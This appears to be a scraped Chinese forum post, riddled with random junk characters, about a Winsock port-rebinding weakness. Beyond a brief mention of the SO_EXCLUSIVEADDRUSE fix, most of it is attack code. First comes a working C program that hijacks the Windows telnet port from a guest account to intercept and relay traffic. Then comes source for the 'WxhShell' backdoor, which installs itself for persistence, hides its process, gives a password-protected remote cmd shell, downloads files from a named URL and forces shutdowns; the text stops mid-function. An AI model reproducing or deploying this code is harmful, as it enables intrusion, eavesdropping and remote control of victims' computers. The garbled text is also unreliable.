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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jRwa0Px( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \3:
L Nt s/PhXf\MN saddr.sin_family = AF_INET; 1::LN(`< K
/8qB~J* saddr.sin_addr.s_addr = htonl(INADDR_ANY); J2=*-O: /6smVz@O bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GM77Z.Y Q.>/*8R; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5d(qtFH1 ^Bn1; 这意味着什么?意味着可以进行如下的攻击: =lm nzu< @Z"?^2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 iU,/!IQ "bi != 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8}9Ob~on
Djyp3uUA/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J[MVE4& :=Nb=&lst 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 uh1S
7!^ +yiU@K).0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [}@n*D$ 7NeDs$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fvO;lA>` BZ}`4W' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %-k(&T3& z=[l.Af_ #include Slo9#26 #include <(Tiazg #include +!G4tA$g #include K^8@'#S DWORD WINAPI ClientThread(LPVOID lpParam); mUiOD$rO int main() 8Y7 @D$=w { S>(z\`1qm WORD wVersionRequested; -S7RRh'p DWORD ret; YI/{TL8*KK WSADATA wsaData; hk/ + BOOL val; wJ/~q) SOCKADDR_IN saddr; GIK
u SOCKADDR_IN scaddr; QT7_x`#J~o int err; s5nB(L*Pjp SOCKET s; 8KZ$F>T]> SOCKET sc; NuIT{3S int caddsize; w}"!l G HANDLE mt; i>WOYI9 DWORD tid; 0}6QO wVersionRequested = MAKEWORD( 2, 2 ); J/L)3y err = WSAStartup( wVersionRequested, &wsaData ); U>bP}[&S if ( err != 0 ) { g&q^.7c} printf("error!WSAStartup failed!\n"); Rnz8 f} return -1; yg`E22 } /%-o.hT saddr.sin_family = AF_INET; X1O65DMr`g f>p; siR) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /#@LRN<oCq o}d2N/T saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PVZEB saddr.sin_port = htons(23); QXsfp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +BU0 6lLD { ysL0hwir printf("error!socket failed!\n"); j-j'ph K return -1; ,!jR:nApE } <` #,AVH val = TRUE; |G>q:]+AV //SO_REUSEADDR选项就是可以实现端口重绑定的 ^NY+wR5Sn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <\+Po<)3j { fmtuFr^a1 printf("error!setsockopt failed!\n"); bGhhh/n return -1; 3Gj(z:)b } %f_FGh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tP&{ J^G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7 FEzak' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gQu\[e%mVo eB)UXOu1 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o`oRG)QC { )hePN4edj ret=GetLastError(); }<E sS printf("error!bind failed!\n"); [5x+aW%ql return -1; /\6}SG; } Hf;RIl2F listen(s,2); Dr4?Ow while(1) WW)_Wh { oZ?IR#^ caddsize = sizeof(scaddr); qxRT1B]{Wx //接受连接请求 3S;>ki4(0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); muW`pm if(sc!=INVALID_SOCKET) .%|OGl ? { Bidqf7v mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =c
:lS&B if(mt==NULL) >ly&+3S { "(9=h@@Y" printf("Thread Creat Failed!\n"); wa9'2a1? break; Ej-=y2j{g } ;JMOsn}8 } n%7A;l!{ CloseHandle(mt); ?,.HA@T% } \Mobq closesocket(s); E|KLK4] WSACleanup(); BnY\FQ)K return 0; mABwM$_ } ?FkQe~FN{ DWORD WINAPI ClientThread(LPVOID lpParam) N:m@D][/sW { ,{#RrF e SOCKET ss = (SOCKET)lpParam; 5JJg"yuY" SOCKET sc; l|4xKBCV] unsigned char buf[4096]; H[>klzh6
! SOCKADDR_IN saddr; %#[r_QQ^ long num; s^{{@O. DWORD val; 3Yn:fsy DWORD ret; V2WUM+`uT //如果是隐藏端口应用的话,可以在此处加一些判断 -MVNXAKnZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ; |E! |w saddr.sin_family = AF_INET; 'XC&BWJ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nPQZI6> saddr.sin_port = htons(23); r*~n` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '[7C~r{% { >[A65q' printf("error!socket failed!\n"); Om &{4a\ return -1; dVY(V&p } A>rW Go.{E val = 100; EZgxSQaPH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pf^Ly97 { [wXwKr ret = GetLastError(); /6Jy'"+'0 return -1; 4]|9!=\
} ~ wJ3AqNC? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wj5qQ]WC { =R"Eb1 ret = GetLastError(); S)Ub/`f{s return -1; b |o`Q7Hj } j\jL[hG_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x
mrugNRg { WrIL]kJw^ printf("error!socket connect failed!\n"); >*<6 zQf closesocket(sc); +73=2.C0 closesocket(ss); =:ya;k& return -1; `\WcF7 } ai<MsQQ:= while(1) FVvv { /ej/&x15 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 URmAI8fq*M //如果是嗅探内容的话,可以再此处进行内容分析和记录 mE3SiR " //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @8 oDy$j num = recv(ss,buf,4096,0); {GG~E54&B if(num>0) Lk8W&|;0| send(sc,buf,num,0); v"G%5pq*\ else if(num==0) ?
bUpK break; O,V6hU/ * num = recv(sc,buf,4096,0); }]Gi@Nh|o if(num>0) 76u/WC>B send(ss,buf,num,0); Bsih<`KF^ else if(num==0) S1x.pLHj8 break; D-2v>l_ } h1G*y closesocket(ss); priT7! closesocket(sc); <?=mLOo= return 0 ; E<98ahZ?l } 5pKvNLy.t Tvksf!ba kL2Zr ========================================================== '!r+Tz Jfixm=.6 下边附上一个代码,,WXhSHELL 9FIe W[ jU3;jm.) ========================================================== f>"!-3 c],frhmyd #include "stdafx.h" 67KRM(S b[&,%Sm+6 #include <stdio.h> BC$;b>IUA #include <string.h> 08d_DCR #include <windows.h> "`$'tk[ #include <winsock2.h> 7/U<\(V!g #include <winsvc.h> s&QBFyKtJ #include <urlmon.h> 35N/v G0 7KSGG1ts #pragma comment (lib, "Ws2_32.lib") t}c}@i_c #pragma comment (lib, "urlmon.lib") $<>EwW aJa^~*N/Aa #define MAX_USER 100 // 最大客户端连接数 j~,LoGuPh #define BUF_SOCK 200 // sock buffer zb~MF_ &gE #define KEY_BUFF 255 // 输入 buffer Kt!IyIa;Ht #.<F5
#define REBOOT 0 // 重启 5M\=+5wB #define SHUTDOWN 1 // 关机 A 4W !7"K>m< #define DEF_PORT 5000 // 监听端口 5qtmb4R~ EV?47\~ #define REG_LEN 16 // 注册表键长度 d;NFkA(df #define SVC_LEN 80 // NT服务名长度 M~{P',l* >kDdWgRQ // 从dll定义API *|gs-<[#X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u6S0t?Udap typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4htSwK+
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ==jw3_W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Dr4~7=7a a@_Cx // wxhshell配置信息 e
ka@?` struct WSCFG { :?:j$
=nWN int ws_port; // 监听端口 ,O&PLr8cJ? char ws_passstr[REG_LEN]; // 口令 rM
>V=|9, int ws_autoins; // 安装标记, 1=yes 0=no F#}1{$)%
/ char ws_regname[REG_LEN]; // 注册表键名 N;`[R>Z~ char ws_svcname[REG_LEN]; // 服务名 J PzQBc5e char ws_svcdisp[SVC_LEN]; // 服务显示名 s
eZ<52f2 char ws_svcdesc[SVC_LEN]; // 服务描述信息 *_).UAP. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?m_R U int ws_downexe; // 下载执行标记, 1=yes 0=no c!u}KVH char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |C)UZ4A/p char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ID)gq_k[8, -C'X4C+ }; r)#"$Sm )`+@j.75 // default Wxhshell configuration
b\0Q: struct WSCFG wscfg={DEF_PORT, .dKRIFo "xuhuanlingzhe", yL3<X w| 1, j'40>Ct=i "Wxhshell", <Ec)m69P "Wxhshell", Va
|9)m "WxhShell Service", ZAM+4#@ "Wrsky Windows CmdShell Service", +S5_J&~ "Please Input Your Password: ", M}oFn}-T9a 1, n-b<vEZw# " http://www.wrsky.com/wxhshell.exe", P7k$^n "Wxhshell.exe" k@";i4}A }; gy,TT<1) Ualq>J5-m- // 消息定义模块 _hyxKrm'
6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aEqI51I char *msg_ws_prompt="\n\r? for help\n\r#>"; h^_taAdS` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; k]/6/s\ char *msg_ws_ext="\n\rExit."; SX=0f^ char *msg_ws_end="\n\rQuit."; <sCq
x/L char *msg_ws_boot="\n\rReboot..."; JJHvj=9'o char *msg_ws_poff="\n\rShutdown..."; &<P^Tvqq& char *msg_ws_down="\n\rSave to "; v yLAs; v.2Vg char *msg_ws_err="\n\rErr!"; F/od,w9_ char *msg_ws_ok="\n\rOK!"; ~q T1<k Oc/_T> char ExeFile[MAX_PATH]; }B
'*8^S int nUser = 0; b`W'M:$ HANDLE handles[MAX_USER]; ?^$4)Y>Kf int OsIsNt; Gxa.<E^k BfE-s< SERVICE_STATUS serviceStatus; -J7,Nw SERVICE_STATUS_HANDLE hServiceStatusHandle; 4d._Hd=' 6[|< // 函数声明 "QFADk1 int Install(void); AB&wn>q int Uninstall(void); ;{q) |GRF int DownloadFile(char *sURL, SOCKET wsh); ?!
_pP| int Boot(int flag); E e\-q void HideProc(void); :0j`yo:w int GetOsVer(void); _t;VE06Xjs int Wxhshell(SOCKET wsl); V =aoB
Z void TalkWithClient(void *cs); aLk2#1$g int CmdShell(SOCKET sock); 1gy}E=noP int StartFromService(void); cYwC,\uF int StartWxhshell(LPSTR lpCmdLine); BvW gH.OX >fj$wOq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -%V-'X5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); U9fF;[g ;$L!`"jn // 数据结构和表定义 7C?mD75j SERVICE_TABLE_ENTRY DispatchTable[] = jKV?!~/F { PM<LR?PLc {wscfg.ws_svcname, NTServiceMain}, U4L=3T+:[ {NULL, NULL} Qp{-!* }; 6ym)F!t8l |wb(rua // 自我安装 ?| LB:8
int Install(void) y'O{8Q8T { 8U:dgXz char svExeFile[MAX_PATH]; EbYH?hPo HKEY key; O#5( U.E strcpy(svExeFile,ExeFile); cASHgm +M]8_kE=+l // 如果是win9x系统,修改注册表设为自启动 S=amj cC if(!OsIsNt) { |j}F$*SE[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J$/BH\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wBHDof
xX RegCloseKey(key); ~rX6owBq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J+NK+,_*M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ry S{@=si RegCloseKey(key); @d^h/w return 0; (4f9wrK } "3 oU
(RA } 7-IeJ6,D } :@Dos'0Px else { 'I>#0VRr [_hhC // 如果是NT以上系统,安装为系统服务 FYS83uq0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dj.+5f' if (schSCManager!=0) "s<lLgi { []3}(8yxGb SC_HANDLE schService = CreateService Jv.R?1;8i ( UBHQzc+, schSCManager, GFa/9Bi wscfg.ws_svcname, <slq1 wscfg.ws_svcdisp, Tn-]0hWkP SERVICE_ALL_ACCESS, ]]o[fqD-Zn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >D4Ez SERVICE_AUTO_START, 6jo&i SERVICE_ERROR_NORMAL, AR6vc svExeFile, p}7&x[fTLk NULL, P}QbxkS 8 NULL, PM>XT NULL, AHD%6 \$ NULL, hBE>e a NULL pP,bW~rk ); HYmUxheN2 if (schService!=0) Hll}8d6[ { OT3;qT*fw CloseServiceHandle(schService); M #&L@fg! CloseServiceHandle(schSCManager); c!^}!32j) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fh$&puF2 strcat(svExeFile,wscfg.ws_svcname); 9?$!=4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k+M-D~@5H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dKTAc":-} RegCloseKey(key); `2+e\%f/0 return 0; |6^ K } K61os&K } N4jLbnA CloseServiceHandle(schSCManager); 'k Z1&_{ } ah9',( (! } 9G/2^PI DJ0T5VE W3 return 1; \%Q
rN+WQ } *v/*_6f* E2kRt'~N // 自我卸载 G@!9)v]9 int Uninstall(void) hP<qK Vy { Q 9<_:3 HKEY key; >D62l*V C) r!,V_a4n if(!OsIsNt) { f.^w/ GJO/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @2*6+w_Ae RegDeleteValue(key,wscfg.ws_regname); tgA
|Vwwk RegCloseKey(key); Pp hQa!F$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S9oGf RegDeleteValue(key,wscfg.ws_regname); ]X|G+[Ujv RegCloseKey(key); S`w)b'B!M return 0; !PIdw~YC } S]/+n> } D07u? } m
kf{_!TK else { PzDgl6C c (8J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0*x? if (schSCManager!=0) 7b2<,
.E { 3[Iw%% q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )6+W6: if (schService!=0) AI; =k { F
&}V65 if(DeleteService(schService)!=0) { * =@pdQkR CloseServiceHandle(schService); _/ZY&5N CloseServiceHandle(schSCManager); 9(j!#`O7& return 0; 6E]rxps}" } zAUfd[g CloseServiceHandle(schService); X-FHJ4 } #?6RoFgMe CloseServiceHandle(schSCManager); ]!:Y]VYN)\ } rtE,SN } h
cXqg B{ "<\g return 1; -#x\ E%v.F } .y+U7"?s* ),,vu // 从指定url下载文件 5-^twXC& int DownloadFile(char *sURL, SOCKET wsh) +KNr1rG { j3&*wU_ HRESULT hr; Q4q#/z char seps[]= "/"; Q#KjX;No char *token; 4/>={4Y9 char *file; lej{VcG char myURL[MAX_PATH]; #KW:OFT char myFILE[MAX_PATH]; nVzo=+Yp V}qmH2h strcpy(myURL,sURL); Dm#k-y token=strtok(myURL,seps); p#2th`M:P1 while(token!=NULL) Z-(HDn { P\e%8&_U/ file=token; >`'9V|1 token=strtok(NULL,seps); '%N)(S`O7P } KL4/"$l] Q@n k T1o GetCurrentDirectory(MAX_PATH,myFILE); "g-NUl`' strcat(myFILE, "\\"); !&[4T#c strcat(myFILE, file); X2v'9 x send(wsh,myFILE,strlen(myFILE),0); z?,5v`,t2 send(wsh,"...",3,0); <bI,y_<K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z, [+ if(hr==S_OK) {AUEVt return 0; )K~nZLULY else ]mA?TwD return 1; U w" Xk'.t| } $ cSZX#\ n4johV.# // 系统电源模块 ?f..N,s int Boot(int flag) Kq$1lPI { 7ZZt|bl HANDLE hToken; K#r`^aUc TOKEN_PRIVILEGES tkp; I]X<L2 kZQ;\QL1} if(OsIsNt) { @HI5;z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }R$%MU5:: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); plfB}p tkp.PrivilegeCount = 1; I2'?~Lt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $hio(
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mz1g8M`@[D if(flag==REBOOT) { x]Ef}g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `2B+8,{% return 0; BxF } dp_q:P4;B else { ZV;yXLx| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x5ia<V>=d return 0; 2+PIZ6=hN } 0P(}e[~Z } M_K&x-H0 else {
)f
Rh^6 if(flag==REBOOT) { pjFgIG2=9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B|v
fkX2f return 0; n:P}K?lg } ?3#X5WT else { srL,9)OC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YSbN=Rj return 0; .+yJ'*i$d } <FEO6YP } 71_N9ub@z q9Q4F return 1; Q"O _h } A\`Uu& xpz
Jt2S // win9x进程隐藏模块 P}gh-5x void HideProc(void) #LiC@> { RMXP)[ ^d,d<Uc HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6]VTn- if ( hKernel != NULL ) iYnt:C { GfDA5v[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @
55Y2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %:lQ ~yn FreeLibrary(hKernel); i&Ea@b } I,D=ixK Gx
m"HC return; `|R{^Sk1o } K\G|q}E/1 ;6?K&}J)- // 获取操作系统版本 rgr> ;
int GetOsVer(void) x)*[>d2yd { rlD@O~P4 OSVERSIONINFO winfo; Ch3##- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U/>5C: GetVersionEx(&winfo);
l}JVRU{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RaAq>B
WPr return 1; pS0T>r else b> |oU return 0; 9 wc=B(a| } ~F WmT(S l<5!R;?$ // 客户端句柄模块 j2+&B9( int Wxhshell(SOCKET wsl) )jg3`I@ { ,~v1NK* SOCKET wsh; \2Yh I0skW struct sockaddr_in client; 95}"AIi DWORD myID; &A~ 1Q#4 "='|c-x while(nUser<MAX_USER) wjkN%lPfvj { p~t$ll0s int nSize=sizeof(client); rie1F, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \C#Vh7z"2& if(wsh==INVALID_SOCKET) return 1; 4_$f"6 '2NeuK -KD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); --FvE|I if(handles[nUser]==0) yDPek*#^"q closesocket(wsh); /)~McP3 else bz1\EkLL nUser++; bkb}M)C } {+!_; zzZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PqfH}d0l ^pn:SV return 0; s:%>H|- } NFQ0/iuW `| fF)kI // 关闭 socket
FkH4|}1 void CloseIt(SOCKET wsh) xaPTTa { 1*XqwBV closesocket(wsh); D`u{U] nUser--; Ou/{PK} ExitThread(0); kY|<1Ht } bp }~{]:b 17-K~ybc // 客户端请求句柄 mV-MJ$3r void TalkWithClient(void *cs) Ba"Z^(: { t ,0~5>5 g%K3ah
v SOCKET wsh=(SOCKET)cs; JWLQ9UX char pwd[SVC_LEN]; ;(z0r_p<q char cmd[KEY_BUFF]; wDn5|F}i& char chr[1]; "F=O int i,j; 'i}Q R~pe x,n;GR while (nUser < MAX_USER) { 8ED6C"6 wuPx6hCl if(wscfg.ws_passstr) { \5Hfe;ny-~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Ic$p> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W)\~T :Kn //ZeroMemory(pwd,KEY_BUFF); (|W@p\Q i=0; GZse8ng while(i<SVC_LEN) { K1Uur>Pk% LcQ \d* // 设置超时 ?]:3`;h3 fd_set FdRead; i),W1<A1 struct timeval TimeOut; ^X^4R1V) FD_ZERO(&FdRead); X[R/j*K FD_SET(wsh,&FdRead); DEs/?JZG TimeOut.tv_sec=8; ,2"-G";!f\ TimeOut.tv_usec=0; \ZXH(N*>2t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]2?t$"G8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z O&5C6qa =YR/|9( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E#J+.&2 pwd =chr[0]; -|g~--@Q if(chr[0]==0xd || chr[0]==0xa) { 0C7x1: pwd=0; G"wy? break; g^=p)h3 } p9 %7h. i++; %;GDg3L[p } XJGOX
n$/ 7Y:1ji0l // 如果是非法用户,关闭 socket JBp^@j{_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /.P*%'g } I
U/gYFT Po% V%~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ig~lD>dnr' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Or0=:?4`
t;{/Q&C while(1) { 9|fg\C .^ soX} ZeroMemory(cmd,KEY_BUFF); =}F &jl s~,Y po? // 自动支持客户端 telnet标准 K%.\@l2Cp j=0; ]JbGP{UiN while(j<KEY_BUFF) { 9%pq+?u9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tQF,E&Jo8 cmd[j]=chr[0]; &0~E+
9b if(chr[0]==0xa || chr[0]==0xd) { 8e x{N3 cmd[j]=0; Hr:WE+' break; LNtBYdB`pK } iCnKQG j++; Ng2qu!F7 } kU0e;r1 N nKT\ /}d // 下载文件 l@%MS\{ if(strstr(cmd,"http://")) { YRqIC -_ send(wsh,msg_ws_down,strlen(msg_ws_down),0); }O-|b#Q if(DownloadFile(cmd,wsh)) "1t%J7c_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7?xTJN)G else rUR{MF&]D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O$+0 . } O)n"a\LD else { eNR>W>;' ZG3u switch(cmd[0]) { ihdN{Mx<2 Y:XE4v/)@L // 帮助 /0IvvD!7N case '?': { nD6NLV%2x send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wknX\,`Q break; S{&,I2aO } :2vk
vLM // 安装 nDhr;/"i case 'i': { NJRk##Z if(Install()) _SY4Qs`d send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1:(qoA: else k?ZtRhPu3X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Q>'?w> break; x4Q*~,n } 9KkxUEkW // 卸载 LB1LQ0M case 'r': { hOG9 if(Uninstall()) [@(M% send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bvb.N$G else E<y0;l?H< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u_shC"X: break; B&3oo } Iy% fg',% // 显示 wxhshell 所在路径 L)p*D( case 'p': { kZ~ 0fw- char svExeFile[MAX_PATH]; <b!nI
N strcpy(svExeFile,"\n\r"); qbrY5;U strcat(svExeFile,ExeFile); 5)bf$?d send(wsh,svExeFile,strlen(svExeFile),0); ZCVwQ#Xe+ break; )RG@D\t , } 0]p!
Bscaf // 重启 p=sLKnLmZ case 'b': {
+uZ,}J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]?tC+UKb if(Boot(REBOOT)) e=e^;K4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); O/
Yz6VQ else { ^E{M[;sF3y closesocket(wsh); bk^W]<:z` ExitThread(0); LX;w~fRr. } 5n{J}0C break; 3D|Y4OM } ;;;aM:6\ // 关机 IYAvO%~ case 'd': { lV924mh send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |,#DB if(Boot(SHUTDOWN)) _kGJqyYV send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ya@*jH else { 5G
@ closesocket(wsh); s F-{( ExitThread(0); F<H[-k*t/ } Av6=q=D break; 4j+FDc` } JWQd/ // 获取shell 5yBaxw` case 's': { X)6}<A CmdShell(wsh); '9d<vWg closesocket(wsh); }(tuBJ9 ExitThread(0); nwSujD break; $$'a } max 5s$@ // 退出 TNun)0p case 'x': { +pMa-{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zfwhg4G~ CloseIt(wsh); k+qxx5{ break; F9h'.{@d } J5Pi"U$FkY // 离开 &ed&2t`Y case 'q': { bT93R8yp send(wsh,msg_ws_end,strlen(msg_ws_end),0); n/]w! closesocket(wsh); $FR1^|P/G WSACleanup(); Jzu U
k exit(1); o9GtS$O\ break; xAlyik
} 3X|7 R } j:k}6]p} } 5~8FZ-x <=O/_Iu( // 提示信息 sVzU> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MX*T.TG8 } /w[B,_ZKTk } "&9L xbUL./uj return; 5l_ >QB } 4S9hz 8&K1;l } // shell模块句柄 Ebk9[= int CmdShell(SOCKET sock) KkD.n#A { ^lw0}
i STARTUPINFO si; 3jeB\ ZeroMemory(&si,sizeof(si)); Gz09#nFZk si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6>L) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r [NI#wW PROCESS_INFORMATION ProcessInfo; Ku'OM6D< char cmdline[]="cmd"; I| Vyv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Aho zrroV return 0; ,?k0~fuG6 } t 0 omJP y"bSn5B[ // 自身启动模式 _U
Q|I|V# int StartFromService(void) 1UHlA8w7Q { A5WchS' typedef struct -9D2aY_> { c>~q2_}W( DWORD ExitStatus; E8gbm&x* DWORD PebBaseAddress; _R/^P>Q? DWORD AffinityMask; D6Q6yNE DWORD BasePriority; 5>S=f{ghFw ULONG UniqueProcessId; ng0tNifZ; ULONG InheritedFromUniqueProcessId; pYxdE|2j } PROCESS_BASIC_INFORMATION; 76'@}wNnw V?[dg^*0 PROCNTQSIP NtQueryInformationProcess; cu|S|]g YZ0y_it) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \Ei(HmEU static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bY@ S[ ;~^9$Z@%Q HANDLE hProcess; 3)ZdT{MY PROCESS_BASIC_INFORMATION pbi; = n>aJ(=Pd {.r
